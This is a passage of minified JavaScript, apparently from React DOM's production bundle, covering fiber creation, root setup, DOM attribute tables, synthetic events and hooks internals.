null===t?((t=js(e.tag,n,e.key,e.mode)).elementType=e.elementType,t.type=e.type,t.stateNode=e.stateNode,t.alternate=e,e.alternate=t):(t.pendingProps=n,t.type=e.type,t.flags=0,t.subtreeFlags=0,t.deletions=null),t.flags=14680064&e.flags,t.childLanes=e.childLanes,t.lanes=e.lanes,t.child=e.child,t.memoizedProps=e.memoizedProps,t.memoizedState=e.memoizedState,t.updateQueue=e.updateQueue,n=e.dependencies,t.dependencies=null===n?null:{lanes:n.lanes,firstContext:n.firstContext},t.sibling=e.sibling,t.index=e.index,t.ref=e.ref,t}function Dl(e,n,r,l,a,u){var o=2;if(l=e,"function"==typeof e)Fl(e)&&(o=1);else if("string"==typeof e)o=5;else e:switch(e){case ha:return Ol(r.children,a,u,n);case ga:o=8,a|=8;break;case va:return(e=js(12,r,n,2|a)).elementType=va,e.lanes=u,e;case wa:return(e=js(13,r,n,a)).elementType=wa,e.lanes=u,e;case Sa:return(e=js(19,r,n,a)).elementType=Sa,e.lanes=u,e;case Ca:return Il(r,a,u,n);default:if("object"==typeof e&&null!==e)switch(e.$$typeof){case ya:o=10;break e;case ba:o=9;break e;case ka:o=11;break e;case xa:o=14;break e;case Ea:o=16,l=null;break e}throw Error(t(130,null==e?e:typeof e,""))}return(n=js(o,r,n,a)).elementType=e,n.type=l,n.lanes=u,n}function Ol(e,n,t,r){return(e=js(7,e,r,n)).lanes=t,e}function Il(e,n,t,r){return(e=js(22,e,r,n)).elementType=Ca,e.lanes=t,e.stateNode={isHidden:!1},e}function Ul(e,n,t){return(e=js(6,e,null,n)).lanes=t,e}function Vl(e,n,t){return(n=js(4,null!==e.children?e.children:[],e.key,n)).lanes=t,n.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},n}function Al(e,n,t,r,l){this.tag=n,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=J(0),this.expirationTimes=J(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=J(0),this.identifierPrefix=r,this.onRecoverableError=l,this.mutableSourceEagerHydrationData=null}function Bl(e,n,t,r,l,a,u,o,i,s){return e=new Al(e,n,t,o,i),1===n?(n=1,!0===a&&(n|=8)):n=0,a=js(3,null,null,n),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:t,cache:null,transitions:null,pendingSuspenseBoundaries:null},Zn(a),e}function Wl(e){if(!e)return ti;e:{if(H(e=e._reactInternals)!==e||1!==e.tag)throw Error(t(170));var n=e;do{switch(n.tag){case 3:n=n.stateNode.context;break e;case 1:if(wn(n.type)){n=n.stateNode.__reactInternalMemoizedMergedChildContext;break e}}n=n.return}while(null!==n);throw Error(t(171))}if(1===e.tag){var r=e.type;if(wn(r))return xn(e,r,n)}return n}function Hl(e,n,t,r,l,a,u,o,i,s){return(e=Bl(t,r,!0,e,0,a,0,o,i)).context=Wl(null),t=e.current,(a=et(r=rl(),l=ll(t))).callback=null!=n?n:null,nt(t,a,l),e.current.lanes=l,ee(e,l,r),ul(e,r),e}function Ql(e,n,t,r){var l=n.current,a=rl(),u=ll(l);return t=Wl(t),null===n.context?n.context=t:n.pendingContext=t,(n=et(a,u)).payload={element:e},null!==(r=void 0===r?null:r)&&(n.callback=r),null!==(e=nt(l,n,u))&&(al(e,l,u,a),tt(e,l,u)),u}function jl(e){return(e=e.current).child?(e.child.tag,e.child.stateNode):null}function $l(e,n){if(null!==(e=e.memoizedState)&&null!==e.dehydrated){var t=e.retryLane;e.retryLane=0!==t&&t<n?t:n}}function ql(e,n){$l(e,n),(e=e.alternate)&&$l(e,n)}function Kl(e){return null===(e=$(e))?null:e.stateNode}function Yl(e){return null}function Xl(e){this._internalRoot=e}function Gl(e){this._internalRoot=e}function Zl(e){return!(!e||1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType)}function Jl(e){return!(!e||1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType&&(8!==e.nodeType||" react-mount-point-unstable "!==e.nodeValue))}function ea(){}function na(e,n,t,r,l){var a=t._reactRootContainer;if(a){var u=a;if("function"==typeof l){var o=l;l=function(){var e=jl(u);o.call(e)}}Ql(n,u,e,l)}else u=function(e,n,t,r,l){if(l){if("function"==typeof r){var a=r;r=function(){var e=jl(u);a.call(e)}}var u=Hl(n,r,e,0,null,!1,0,"",ea);return e._reactRootContainer=u,e[Xo]=u.current,Ge(8===e.nodeType?e.parentNode:e),pl(),u}for(;l=e.lastChild;)e.removeChild(l);if("function"==typeof r){var o=r;r=function(){var e=jl(i);o.call(e)}}var i=Bl(e,0,!1,null,0,!1,0,"",ea);return e._reactRootContainer=i,e[Xo]=i.current,Ge(8===e.nodeType?e.parentNode:e),pl((function(){Ql(n,i,t,r)})),i}(t,n,e,l,r);return jl(u)}var ta=new Set,ra={},la=!("undefined"==typeof window||void 0===window.document||void 0===window.document.createElement),aa=Object.prototype.hasOwnProperty,ua=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,oa={},ia={},sa={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach((function(e){sa[e]=new a(e,0,!1,e,null,!1,!1)})),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach((function(e){var n=e[0];sa[n]=new a(n,1,!1,e[1],null,!1,!1)})),["contentEditable","draggable","spellCheck","value"].forEach((function(e){sa[e]=new a(e,2,!1,e.toLowerCase(),null,!1,!1)})),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach((function(e){sa[e]=new a(e,2,!1,e,null,!1,!1)})),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach((function(e){sa[e]=new a(e,3,!1,e.toLowerCase(),null,!1,!1)})),["checked","multiple","muted","selected"].forEach((function(e){sa[e]=new a(e,3,!0,e,null,!1,!1)})),["capture","download"].forEach((function(e){sa[e]=new a(e,4,!1,e,null,!1,!1)})),["cols","rows","size","span"].forEach((function(e){sa[e]=new a(e,6,!1,e,null,!1,!1)})),["rowSpan","start"].forEach((function(e){sa[e]=new a(e,5,!1,e.toLowerCase(),null,!1,!1)}));var ca=/[\-:]([a-z])/g,fa=function(e){return e[1].toUpperCase()};"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach((function(e){var n=e.replace(ca,fa);sa[n]=new a(n,1,!1,e,null,!1,!1)})),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach((function(e){var n=e.replace(ca,fa);sa[n]=new a(n,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)})),["xml:base","xml:lang","xml:space"].forEach((function(e){var n=e.replace(ca,fa);sa[n]=new a(n,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)})),["tabIndex","crossOrigin"].forEach((function(e){sa[e]=new a(e,1,!1,e.toLowerCase(),null,!1,!1)})),sa.xlinkHref=new a("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach((function(e){sa[e]=new a(e,1,!1,e.toLowerCase(),null,!0,!0)}));var da=n.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,pa=Symbol.for("react.element"),ma=Symbol.for("react.portal"),ha=Symbol.for("react.fragment"),ga=Symbol.for("react.strict_mode"),va=Symbol.for("react.profiler"),ya=Symbol.for("react.provider"),ba=Symbol.for("react.context"),ka=Symbol.for("react.forward_ref"),wa=Symbol.for("react.suspense"),Sa=Symbol.for("react.suspense_list"),xa=Symbol.for("react.memo"),Ea=Symbol.for("react.lazy");Symbol.for("react.scope"),Symbol.for("react.debug_trace_mode");var Ca=Symbol.for("react.offscreen");Symbol.for("react.legacy_hidden"),Symbol.for("react.cache"),Symbol.for("react.tracing_marker");var za,Na,Pa,_a=Symbol.iterator,La=Object.assign,Ta=!1,Ma=Array.isArray,Fa=(Pa=function(e,n){if("http://www.w3.org/2000/svg"!==e.namespaceURI||"innerHTML"in e)e.innerHTML=n;else{for((Na=Na||document.createElement("div")).innerHTML="<svg>"+n.valueOf().toString()+"</svg>",n=Na.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;n.firstChild;)e.appendChild(n.firstChild)}},"undefined"!=typeof MSApp&&MSApp.execUnsafeLocalFunction?function(e,n,t,r){MSApp.execUnsafeLocalFunction((function(){return Pa(e,n)}))}:Pa),Ra=function(e,n){if(n){var t=e.firstChild;if(t&&t===e.lastChild&&3===t.nodeType)return void(t.nodeValue=n)}e.textContent=n},Da={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Oa=["Webkit","ms","Moz","O"];Object.keys(Da).forEach((function(e){Oa.forEach((function(n){n=n+e.charAt(0).toUpperCase()+e.substring(1),Da[n]=Da[e]}))}));var Ia=La({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0}),Ua=null,Va=null,Aa=null,Ba=null,Wa=function(e,n){return e(n)},Ha=function(){},Qa=!1,ja=!1;if(la)try{var $a={};Object.defineProperty($a,"passive",{get:function(){ja=!0}}),window.addEventListener("test",$a,$a),window.removeEventListener("test",$a,$a)}catch(Pa){ja=!1}var qa,Ka,Ya,Xa=function(e,n,t,r,l,a,u,o,i){var s=Array.prototype.slice.call(arguments,3);try{n.apply(t,s)}catch(e){this.onError(e)}},Ga=!1,Za=null,Ja=!1,eu=null,nu={onError:function(e){Ga=!0,Za=e}},tu=n.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.Scheduler,ru=tu.unstable_scheduleCallback,lu=tu.unstable_NormalPriority,au=ru,uu=tu.unstable_cancelCallback,ou=tu.unstable_shouldYield,iu=tu.unstable_requestPaint,su=tu.unstable_now,cu=tu.unstable_getCurrentPriorityLevel,fu=tu.unstable_ImmediatePriority,du=tu.unstable_UserBlockingPriority,pu=lu,mu=tu.unstable_LowPriority,hu=tu.unstable_IdlePriority,gu=null,vu=null,yu=Math.clz32?Math.clz32:function(e){return 0==(e>>>=0)?32:31-(bu(e)/ku|0)|0},bu=Math.log,ku=Math.LN2,wu=64,Su=4194304,xu=0,Eu=!1,Cu=[],zu=null,Nu=null,Pu=null,_u=new Map,Lu=new Map,Tu=[],Mu="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" "),Fu=da.ReactCurrentBatchConfig,Ru=!0,Du=null,Ou=null,Iu=null,Uu=null,Vu={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},Au=ke(Vu),Bu=La({},Vu,{view:0,detail:0}),Wu=ke(Bu),Hu=La({},Bu,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Se,button:0,buttons:0,relatedTarget:function(e){return void 0===e.relatedTarget?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==Ya&&(Ya&&"mousemove"===e.type?(qa=e.screenX-Ya.screenX,Ka=e.screenY-Ya.screenY):Ka=qa=0,Ya=e),qa)},movementY:function(e){return"movementY"in e?e.movementY:Ka}}),Qu=ke(Hu),ju=ke(La({},Hu,{dataTransfer:0})),$u=ke(La({},Bu,{relatedTarget:0})),qu=ke(La({},Vu,{animationName:0,elapsedTime:0,pseudoElement:0})),Ku=La({},Vu,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),Yu=ke(Ku),Xu=ke(La({},Vu,{data:0})),Gu=Xu,Zu={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},Ju={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},eo={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"},no=La({},Bu,{key:function(e){if(e.key){var n=Zu[e.key]||e.key;if("Unidentified"!==n)return n}return"keypress"===e.type?13===(e=ve(e))?"Enter":String.fromCharCode(e):"keydown"===e.type||"keyup"===e.type?Ju[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Se,charCode:function(e){return"keypress"===e.type?ve(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?ve(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}}),to=ke(no),ro=ke(La({},Hu,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0})),lo=ke(La({},Bu,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Se})),ao=ke(La({},Vu,{propertyName:0,elapsedTime:0,pseudoElement:0})),uo=La({},Hu,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),oo=ke(uo),io=[9,13,27,32],so=la&&"CompositionEvent"in window,co=null;la&&"documentMode"in document&&(co=document.documentMode);var fo=la&&"TextEvent"in window&&!co,po=la&&(!so||co&&8<co&&11>=co),mo=String.fromCharCode(32),ho=!1,go=!1,vo={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0},yo=null,bo=null,ko=!1;la&&(ko=function(e){if(!la)return!1;var n=(e="on"+e)in document;return n||((n=document.createElement("div")).setAttribute(e,"return;"),n="function"==typeof n[e]),n}("input")&&(!document.documentMode||9<document.documentMode));var wo="function"==typeof Object.is?Object.is:function(e,n){return e===n&&(0!==e||1/e==1/n)||e!=e&&n!=n},So=la&&"documentMode"in document&&11>=document.documentMode,xo=null,Eo=null,Co=null,zo=!1,No={animationend:Qe("Animation","AnimationEnd"),animationiteration:Qe("Animation","AnimationIteration"),animationstart:Qe("Animation","AnimationStart"),transitionend:Qe("Transition","TransitionEnd")},Po={},_o={};la&&(_o=document.createElement("div").style,"AnimationEvent"in window||(delete No.animationend.animation,delete No.animationiteration.animation,delete No.animationstart.animation),"TransitionEvent"in window||delete No.transitionend.transition);var Lo=je("animationend"),To=je("animationiteration"),Mo=je("animationstart"),Fo=je("transitionend"),Ro=new Map,Do="abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel".split(" ");!function(){for(var e=0;e<Do.length;e++){var n=Do[e];$e(n.toLowerCase(),"on"+(n=n[0].toUpperCase()+n.slice(1)))}$e(Lo,"onAnimationEnd"),$e(To,"onAnimationIteration"),$e(Mo,"onAnimationStart"),$e("dblclick","onDoubleClick"),$e("focusin","onFocus"),$e("focusout","onBlur"),$e(Fo,"onTransitionEnd")}(),l("onMouseEnter",["mouseout","mouseover"]),l("onMouseLeave",["mouseout","mouseover"]),l("onPointerEnter",["pointerout","pointerover"]),l("onPointerLeave",["pointerout","pointerover"]),r("onChange","change click focusin focusout input keydown keyup selectionchange".split(" ")),r("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" ")),r("onBeforeInput",["compositionend","keypress","textInput","paste"]),r("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" ")),r("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" ")),r("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var Oo="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),Io=new Set("cancel close invalid load scroll toggle".split(" ").concat(Oo)),Uo="_reactListening"+Math.random().toString(36).slice(2),Vo=/\r\n?/g,Ao=/\u0000|\uFFFD/g,Bo=null,Wo=null,Ho="function"==typeof setTimeout?setTimeout:void 0,Qo="function"==typeof clearTimeout?clearTimeout:void 0,jo="function"==typeof Promise?Promise:void 0,$o="function"==typeof queueMicrotask?queueMicrotask:void 0!==jo?function(e){return jo.resolve(null).then(e).catch(sn)}:Ho,qo=Math.random().toString(36).slice(2),Ko="__reactFiber$"+qo,Yo="__reactProps$"+qo,Xo="__reactContainer$"+qo,Go="__reactEvents$"+qo,Zo="__reactListeners$"+qo,Jo="__reactHandles$"+qo,ei=[],ni=-1,ti={},ri=vn(ti),li=vn(!1),ai=ti,ui=null,oi=!1,ii=!1,si=[],ci=0,fi=null,di=0,pi=[],mi=0,hi=null,gi=1,vi="",yi=null,bi=null,ki=!1,wi=null,Si=da.ReactCurrentBatchConfig,xi=Hn(!0),Ei=Hn(!1),Ci=vn(null),zi=null,Ni=null,Pi=null,_i=null,Li=Gn,Ti=!1,Mi={},Fi=vn(Mi),Ri=vn(Mi),Di=vn(Mi),Oi=vn(0),Ii=[],Ui=da.ReactCurrentDispatcher,Vi=da.ReactCurrentBatchConfig,Ai=0,Bi=null,Wi=null,Hi=null,Qi=!1,ji=!1,$i=0,qi=0,Ki={readContext:Kn,useCallback:pt,useContext:pt,useEffect:pt,useImperativeHandle:pt,useInsertionEffect:pt,useLayoutEffect:pt,useMemo:pt,useReducer:pt,useRef:pt,useState:pt,useDebugValue:pt,useDeferredValue:pt,useTransition:pt,useMutableSource:pt,useSyncExternalStore:pt,useId:pt,unstable_isNewReconciler:!1},Yi={readContext:Kn,useCallback:function(e,n){return vt().memoizedState=[e,void 0===n?null:n],e},useContext:Kn,useEffect:Rt,useImperativeHandle:function(e,n,t){return t=null!=t?t.concat([e]):null,Mt(4194308,4,Ut.bind(null,n,e),t)},useLayoutEffect:function(e,n){return Mt(4194308,4,e,n)},useInsertionEffect:function(e,n){return Mt(4,2,e,n)},useMemo:function(e,n){var t=vt();return n=void 0===n?null:n,e=e(),t.memoizedState=[e,n],e},useReducer:function(e,n,t){var r=vt();return n=void 0!==t?t(n):n,r.memoizedState=r.baseState=n,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:n},r.queue=e,e=e.dispatch=$t.bind(null,Bi,e),[r.memoizedState,e]},useRef:function(e){return e={current:e},vt().memoizedState=e},useState:_t,useDebugValue:At,useDeferredValue:function(e){return vt().memoizedState=e},useTransition:function(){var e=_t(!1),n=e[0];return e=Qt.bind(null,e[1]),vt().memoizedState=e,[n,e]},useMutableSource:function(e,n,t){},useSyncExternalStore:function(e,n,r){var l=Bi,a=vt();if(ki){if(void 0===r)throw Error(t(407));r=r()}else{if(r=n(),null===bs)throw Error(t(349));30&Ai||Et(l,n,r)}a.memoizedState=r;var u={value:r,getSnapshot:n};return a.queue=u,Rt(zt.bind(null,l,u,e),[e]),l.flags|=2048,Lt(9,Ct.bind(null,l,u,r,n),void 0,null),r},useId:function(){var e=vt(),n=bs.identifierPrefix;if(ki){var t=vi;n=":"+n+"R"+(t=(gi&~(1<<32-yu(gi)-1)).toString(32)+t),0<(t=$i++)&&(n+="H"+t.toString(32)),n+=":"}else n=":"+n+"r"+(t=qi++).toString(32)+":";return e.memoizedState=n},unstable_isNewReconciler:!1},Xi={readContext:Kn,useCallback:Bt,useContext:Kn,useEffect:Dt,useImperativeHandle:Vt,useInsertionEffect:Ot,useLayoutEffect:It,useMemo:Wt,useReducer:kt,useRef:Tt,useState:function(e){return kt(bt)},useDebugValue:At,useDeferredValue:function(e){return Ht(yt(),Wi.memoizedState,e)},useTransition:function(){return[kt(bt)[0],yt().memoizedState]},useMutableSource:St,useSyncExternalStore:xt,useId:jt,unstable_isNewReconciler:!1},Gi={readContext:Kn,useCallback:Bt,useContext:Kn,useEffect:Dt,useImperativeHandle:Vt,useInsertionEffect:Ot,useLayoutEffect:It,useMemo:Wt,useReducer:wt,useRef:Tt,useState:function(e){return wt(bt)},useDebugValue:At,useDeferredValue:function(e){var n=yt();return null===Wi?n.memoizedState=e:Ht(n,Wi.memoizedState,e)},useTransition:function(){return[wt(bt)[0],yt().memoizedState]},useMutableSource:St,useSyncExternalStore:xt,useId:jt,unstable_isNewReconciler:!1},Zi={isMounted:function(e){return!!(e=e._reactInternals)&&H(e)===e},enqueueSetState:function(e,n,t){e=e._reactInternals;var r=rl(),l=ll(e),a=et(r,l);a.payload=n,null!=t&&(a.callback=t),null!==(n=nt(e,a,l))&&(al(n,e,l,r),tt(n,e,l))},enqueueReplaceState:function(e,n,t){e=e._reactInternals;var r=rl(),l=ll(e),a=et(r,l);a.tag=1,a.payload=n,null!=t&&(a.callback=t),null!==(n=nt(e,a,l))&&(al(n,e,l,r),tt(n,e,l))},enqueueForceUpdate:function(e,n){e=e._reactInternals;var t=rl(),r=ll(e),l=et(t,r);l.tag=2,null!=n&&(l.callback=n),null!==(n=nt(e,l,r))&&(al(n,e,r,t),tt(n,e,r))}},Ji="function"==typeof WeakMap?WeakMap:Map,es=da.ReactCurrentOwner,ns=!1,ts={dehydrated:null,treeContext:null,retryLane:0},rs=function(e,n,t,r){for(t=n.child;null!==t;){if(5===t.tag||6===t.tag)e.appendChild(t.stateNode);else if(4!==t.tag&&null!==t.child){t.child.return=t,t=t.child;continue}if(t===n)break;for(;null===t.sibling;){if(null===t.return||t.return===n)return;t=t.return}t.sibling.return=t.return,t=t.sibling}},ls=function(e,n){},as=function(e,n,t,r,l){var a=e.memoizedProps;if(a!==r){switch(e=n.stateNode,ut(Fi.current),l=null,t){case"input":a=y(e,a),r=y(e,r),l=[];break;case"select":a=La({},a,{value:void 0}),r=La({},r,{value:void 0}),l=[];break;case"textarea":a=C(e,a),r=C(e,r),l=[];break;default:"function"!=typeof a.onClick&&"function"==typeof r.onClick&&(e.onclick=un)}var u;for(s in F(t,r),t=null,a)if(!r.hasOwnProperty(s)&&a.hasOwnProperty(s)&&null!=a[s])if("style"===s){var o=a[s];for(u in o)o.hasOwnProperty(u)&&(t||(t={}),t[u]="")}else"dangerouslySetInnerHTML"!==s&&"children"!==s&&"suppressContentEditableWarning"!==s&&"suppressHydrationWarning"!==s&&"autoFocus"!==s&&(ra.hasOwnProperty(s)?l||(l=[]):(l=l||[]).push(s,null));for(s in r){var i=r[s];if(o=null!=a?a[s]:void 0,r.hasOwnProperty(s)&&i!==o&&(null!=i||null!=o))if("style"===s)if(o){for(u in o)!o.hasOwnProperty(u)||i&&i.hasOwnProperty(u)||(t||(t={}),t[u]="");for(u in i)i.hasOwnProperty(u)&&o[u]!==i[u]&&(t||(t={}),t[u]=i[u])}else t||(l||(l=[]),l.push(s,t)),t=i;else"dangerouslySetInnerHTML"===s?(i=i?i.__html:void 0,o=o?o.__html:void 0,null!=i&&o!==i&&(l=l||[]).push(s,i)):"children"===s?"string"!=typeof i&&"number"!=typeof i||(l=l||[]).push(s,""+i):"suppressContentEditableWarning"!==s&&"suppressHydrationWarning"!==s&&(ra.hasOwnProperty(s)?(null!=i&&"onScroll"===s&&Ye("scroll",e),l||o===i||(l=[])):(l=l||[]).push(s,i))}t&&(l=l||[]).push("style",t);var s=l;(n.updateQueue=s)&&(n.flags|=4)}},us=function(e,n,t,r){t!==r&&(n.flags|=4)},os=!1,is=!1,ss="function"==typeof WeakSet?WeakSet:Set,cs=null,fs=!1,ds=null,ps=!1,ms=Math.ceil,hs=da.ReactCurrentDispatcher,gs=da.ReactCurrentOwner,vs=da.ReactCurrentBatchConfig,ys=0,bs=null,ks=null,ws=0,Ss=0,xs=vn(0),Es=0,Cs=null,zs=0,Ns=0,Ps=0,_s=null,Ls=null,Ts=0,Ms=1/0,Fs=null,Rs=!1,Ds=null,Os=null,Is=!1,Us=null,Vs=0,As=0,Bs=null,Ws=-1,Hs=0,Qs=function(e,n,r){if(null!==e)if(e.memoizedProps!==n.pendingProps||li.current)ns=!0;else{if(!(e.lanes&r||128&n.flags))return ns=!1,function(e,n,t){switch(n.tag){case 3:kr(n),Un();break;case 5:st(n);break;case 1:wn(n.type)&&En(n);break;case 4:ot(n,n.stateNode.containerInfo);break;case 10:var r=n.type._context,l=n.memoizedProps.value;bn(Ci,r._currentValue),r._currentValue=l;break;case 13:if(null!==(r=n.memoizedState))return null!==r.dehydrated?(bn(Oi,1&Oi.current),n.flags|=128,null):t&n.child.childLanes?xr(e,n,t):(bn(Oi,1&Oi.current),null!==(e=Lr(e,n,t))?e.sibling:null);bn(Oi,1&Oi.current);break;case 19:if(r=!!(t&n.childLanes),128&e.flags){if(r)return Pr(e,n,t);n.flags|=128}if(null!==(l=n.memoizedState)&&(l.rendering=null,l.tail=null,l.lastEffect=null),bn(Oi,Oi.current),r)break;return null;case 22:case 23:return n.lanes=0,hr(e,n,t)}return Lr(e,n,t)}(e,n,r);ns=!!(131072&e.flags)}else ns=!1,ki&&1048576&n.flags&&_n(n,di,n.index);switch(n.lanes=0,n.tag){case 2:var l=n.type;_r(e,n),e=n.pendingProps;var a=kn(n,ri.current);qn(n,r),a=ht(null,n,l,e,a,r);var u=gt();return n.flags|=1,"object"==typeof a&&null!==a&&"function"==typeof a.render&&void 0===a.$$typeof?(n.tag=1,n.memoizedState=null,n.updateQueue=null,wn(l)?(u=!0,En(n)):u=!1,n.memoizedState=null!==a.state&&void 0!==a.state?a.state:null,Zn(n),a.updater=Zi,n.stateNode=a,a._reactInternals=n,tr(n,l,e,r),n=br(null,n,l,!0,u,r)):(n.tag=0,ki&&u&&Ln(n),fr(null,n,a,r),n=n.child),n;case 16:l=n.elementType;e:{switch(_r(e,n),e=n.pendingProps,l=(a=l._init)(l._payload),n.type=l,a=n.tag=function(e){if("function"==typeof e)return Fl(e)?1:0;if(null!=e){if((e=e.$$typeof)===ka)return 11;if(e===xa)return 14}return 2}(l),e=Gt(l,e),a){case 0:n=vr(null,n,l,e,r);break e;case 1:n=yr(null,n,l,e,r);break e;case 11:n=dr(null,n,l,e,r);break e;case 14:n=pr(null,n,l,Gt(l.type,e),r);break e}throw Error(t(306,l,""))}return n;case 0:return l=n.type,a=n.pendingProps,vr(e,n,l,a=n.elementType===l?a:Gt(l,a),r);case 1:return 